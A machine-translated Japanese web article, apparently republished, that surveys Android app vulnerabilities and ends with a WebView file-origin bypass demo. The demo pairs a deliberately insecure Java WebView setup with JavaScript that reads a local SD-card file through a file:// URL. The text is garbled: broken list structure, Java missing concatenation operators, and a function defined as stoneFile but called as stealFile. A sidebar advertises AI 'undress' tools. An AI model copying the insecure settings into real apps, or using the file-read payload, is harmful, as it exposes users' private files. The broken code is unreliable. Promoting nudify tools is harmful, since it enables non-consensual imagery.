検索
ホームページ運用・保守安全性WebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例

基礎知識 Android アーキテクチャ

  • カーネル カーネル層
    脆弱性は非常に有害であり、汎用性が高い
    ドライバーは数多く、複雑であり、多数のドライバーが存在する可能性があります。脆弱性

  • ライブラリ システム ランタイム ライブラリ層

    • システム ミドルウェアの形式で提供されるランタイム ライブラリ
      includes libc、WebKit、SQLite など。

    • AndroidRunTime
      Dalvik 仮想マシンとカーネル ライブラリ

  • FrameWork アプリケーション フレームワークレイヤー
    一連のサービスと API インターフェイスを提供します

    • アクティビティ マネージャー

    • コンテンツ プロバイダー

    • ビュー

    • エクスプローラー

    • 通知マネージャー

  • アプリケーション アプリケーション層

    • ##システム アプリケーション

      ホーム画面 ホーム、連絡先 連絡先、電話 電話、ブラウザ ブラウザ

    • その他のアプリケーション

      アプリケーション フレームワーク層の API を使用して開発者によって実装されるプログラム

    • #Andoroid の共通コンポーネント

アクティビティ アクティビティ

  • #Service サービス

  • BroadcastRecviver ブロードキャスト レシーバー

  • ContentProvider コンテンツ プロバイダー

  • 一般的な Android アプリの脆弱性 (OWASP モバイル トップ 10) プラットフォームの不適切な使用

概要

プラットフォーム機能の悪用、またはプラットフォームの使用失敗プラットフォームのセキュリティ制御を使用します。インテントの悪用、権限の悪用など。

  • リスク
    は非常に広範囲であり、モバイル プラットフォーム上のさまざまなサービスに関係する可能性があります

  • # #例

    iOS システムでは、パスワード データがキー チェーンではなくローカル ファイルに保存されるため、擬似暗号化されたバックアップ データから読み取られてしまいます。
    Android システムでは、パスワードが不適切に使用されます。インテントにより、悪意のあるユーザーがインテントのコンテンツをハイジャックして変更することになります。元のプロセスの ID 権限を使用してアクションを実行します。

  • 安全でないデータ ストレージ

  • 安全でない通信
  • #典型的な脆弱性とマイニング方法 データ ストレージの脆弱性

  • ##データ ファイルまたはディレクトリ

#クリア テキスト ストレージ

  • #MODE_PRIVATE

    • ##クリア テキスト ストレージ

    • ##MODE_PRIVATE モードがデータベースの作成時に使用されませんでした
    • MODE_PRIVATE モードが構成ファイルの作成時に使用されなかったため、他のプログラムが構成ファイルを読み取っていました

    • これはクリア テキストで保存され、root ユーザーは読み取り可能であるため、機密データの漏洩につながります

    • SharedPreferences
    • data /data/パッケージ名/shared_prefs/*.xml
    • SQLiteDatabases

      data/データパッケージ名/database/*.db


    • ##内部ストレージ
      data/データ/プログラム登録/ファイル/*


    • #外部ストレージ

      / mnt/sdcard/*


    • 検出方法


    • 各ファイルを参照し、 /data/data/package 名ディレクトリの下にあるディレクトリを確認し、他のユーザーが読み取り可能なファイルがあるかどうかを確認します。 File


      設定ファイル、データベース、ファイルにクリア テキストの機密情報があるかどうかを確認します。 etc.

  • マイニング方法
    • コード検出

      openFileOutput、getSharedPrefreences、openOrCreateDatabase およびその他の関数のモード パラメーターは MODE_PRIVATE(0x0000)

  • データ通信の脆弱性

  • HTTP などのクリア テキスト プロトコルを使用して機密情報をサーバーに送信します


    • # #LAN スニッフィング、悪意のある公衆 WIFI、悪意のあるプロキシ サービス、DNS ハイジャックなどを通じてクリア テキスト通信をキャプチャします。中間者攻撃を生成するその他の手段

##弱い SSL 証明書の検証


    • .method public checkServerTrusted を検索します。

    • .method を見つけてメソッドを終了します
  • return があるかどうかを確認します。 void


    同様に、verify(String, SSLSession) の戻り値が常に True であるかどうか、および X509HostnameVerifier のパラメータが ALLOW_ALLHOSTNAME_VERIFIER であるかどうかを確認します
    • Fiddler の HTTPS 解析機能を有効にし、自己署名証明書を生成してエクスポートし、電話機にインストールします。
    • #Fiddler プロキシを有効にしてリモート アクセスを許可します。ホストがプロキシに接続します

    • APP には SSL 証明書の検証がありません
    • クライアントは、3 つのメソッド checkServerTrusted\checkClientTrusted\getInstance を含む X509TruestManager クラスを実装する必要があります

    • 証明書の検証に失敗すると例外が発生し、アプリケーションによって処理されます。
    • サーバー証明書の検証に失敗すると、TLS マンインザが発生します。 -middle 攻撃
    • HttpsURLConnection を使用する場合、カスタム HostnameVerifier の実装プロセス中にホスト名が検証されず、証明書のドメイン名とサイト名が一致するかどうかはデフォルトでチェックされません。または、HttpsURLConnection の HostnameVerifier を設定するときに、すべてのドメイン名を受け入れるように ALLOW_ALL_HOSTNAME_VERIIER に設定します。

    • 攻撃方法

    • マイニング方法
    • #SSL 証明書の強力な検証

      Xp、Patch、その他の方法によってバイパスされる可能性があります

    コンポーネント露出の脆弱性

    • Android:exported は 4 つの主要コンポーネントに共通の属性で、他のアプリケーションが現在のコンポーネントを呼び出すことがサポートされているかどうかを示すために使用されます。

    • インテント フィルターがある場合、デフォルト値は true、それ以外の場合、デフォルト値は false

    • エクスポートされたエクスポートされたもののアクセス許可制御コンポーネント

    • 認証のバイパス

      • アクティビティは公開された後に第三者によって呼び出され、ログイン/する可能性があります。パスワードを使用せずにパスワードをリセットする

    • 機密情報の漏洩

      • recviver は、公開された後に第三者に公開され、デバッグやその他の情報が閲覧される可能性がある に含まれる機密情報 特権プログラムは、高特権プログラムによって公開されたコンポーネントを呼び出すことにより、高特権のアクションを実行します。
        ##マイニング方法


    • AndroidManifest.xmlを表示
      • drozer のアタックサーフェス ツールを使用してセキュリティ評価を実行します

    • 弱い暗号化の脆弱性



      パスワードのハード コーディング

      逆コンパイル、ルート表示などは取得可能です
      • AES/DES の弱い暗号化

        ECB モードは分析またはリプレイ攻撃に対して脆弱です

      • WebView
      主に 3 つの脆弱性が含まれています:

      任意のコード実行

    • 横断する Web ページを作成するgetClass メソッドがある場合、リモートでコードが実行される脆弱性があります



      fiddler の before スクリプトにより、任意の Web ページにアクセスするときに任意の Web ビューをテストできます

    ##Android 4.2 以降では、addJavascriptInterface アノテーションが付けられたメソッドを Web ページ内の java メソッドから呼び出すことができます。フィルタリングがない場合、脆弱性がある可能性があります

    • 発掘方法:


      • ドメイン管理がされていないstrict


      • setAllowFileAccess
      • setAllowFileAccessFromFileURLs

      • setAllowUniversalAccessFromFileURLs (リモート開示につながる)

      ローカル ファイルは、シンボリック リンク攻撃を通じてアクセスできます。どんなに制限されていても、js はこのファイルにアクセスできます。実行を遅らせ、現在のファイルを別のファイルを指すソフト リンクに置き換えることで、シンボリック リンクが指すファイルを読み取ることができます。 JavaScript がサポートされており、file:/// 形式の URL に制限がないため、Cookie、プライベート ファイル、データベースなどの機密情報が漏洩する可能性があります。
    • ##パスワードを平文で保存
      ユーザーが WebViEW に入力したユーザー名とパスワードを保存することを選択すると、それらはアプリ ディレクトリの data.db に平文で保存されます

      攻撃者root 権限で読み取り可能
      • 脆弱性マイニングプロセスの概要
      • 静的分析
      • 主要な分析対象を迅速に検出して取得
      • #AndroidManifest ファイルの確認


        ##スクリプト解析 Smali コード


      • #動的分析

        疑わしいリスクの検証と危険性評価


    • デバッグ モード分析

    運用を試す/脆弱性検証

      #drozer


    • パケットキャプチャ解析データとインターフェース

      • 逆分析
      • 暗号解読とロジックとコードのさらなる分析


    • ##-

      • 自動補助システム

      • MobSF には、フロントエンド Web インターフェイス
      • # が含まれています

        ##Marvin にはフロントエンド Web インターフェイス、導入トラブルが含まれています

      • Inspeckage Xused プラグイン

    • #今日は WebView の脆弱性について話します


      [Java] プレーン テキスト ビュー コードをコピー

      ?
      • サンプル コード アドレス: https://github.com/jltxgcy/AppVulnerability /tree/master/WebViewFileDemo.
      • または私の github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1


        次のコードの主な違いは、今回ロードされる Attack_file です。 html

        public class MainActivity extends Activity {
      private WebView webView;
    • private Uri mUri;

      private String url;
      • String mUrl1 = "file:///android_asset/html/攻撃ファイル.html";
      • //文字列 mUrl2 = "file:///android_asset/html/test.html";

      • @オーバーライド
      • protected void onCreate(Bundle SavedInstanceState) {

      • super.onCreate(savedInstanceState);
      • setContentView(R.layout.activity_main);

        webView = (WebView) findViewById(R.id.webview);
      • webView.getSettings().setJavaScriptEnabled(true);

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

        webView.getSettings().setAllowFileAccessFromFileURLs(true);

        webView.setWebChromeClient(new WebChromeClient() {

        @Override

        public boolean onJsAlert(WebView view, String URL, String message,JsResult result) {

        //ここで必要な機能

        return super.onJsAlert(view, url, message, result);

        }

        });

        webView.loadUrl(mUrl1);

        }

        class JSInterface {

        public String onButtonClick(String text) {

        final String str = text;

        runOnUiThread(new Runnable() {

        @Override

        public void run() {

        Log.e("leehong2", "onButtonClick: text = " str);

        Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LENGTH_LONG).show();

        }

        });

        return "このテキストは Java レイヤーから返されます。 js text = " text;

        }

        public void onImageClick(String url, int width, int height) {

        final String str = "onImageClick: text = " url " width = " width "高さ = "高さ;

        Log.i("leehong2", str);

        runOnUiThread(new Runnable() {

        @Override

        public void run() {

        Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();

        }

        });

        }

        }

        }

        ここでは webView.getSettings().setAllowFileAccessFromFileURLs(true) を示し、ファイル ファイルを JavaScript 経由でアクセスできることを示しています。

        我们再来看 Attack_file.html の代番号:'

        function stoneFile()

        {

        var file = "file:///mnt/sdcard/233.txt";

        var xmlHttpReq = new XMLHttpRequest();

        xmlHttpReq.onreadystatechange = function(){

        if(xmlHttpReq.readyState == 4){

        alert(xmlHttpReq.responseText);

        }

        }

        xmlHttpReq.open("GET", file);

        xmlHttpReq.send(null);

        }

        stealFile();

以上がWebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事は亿速云で複製されています。侵害がある場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強力な PHP 統合開発環境

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

WebStorm Mac版

WebStorm Mac版

便利なJavaScript開発ツール

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター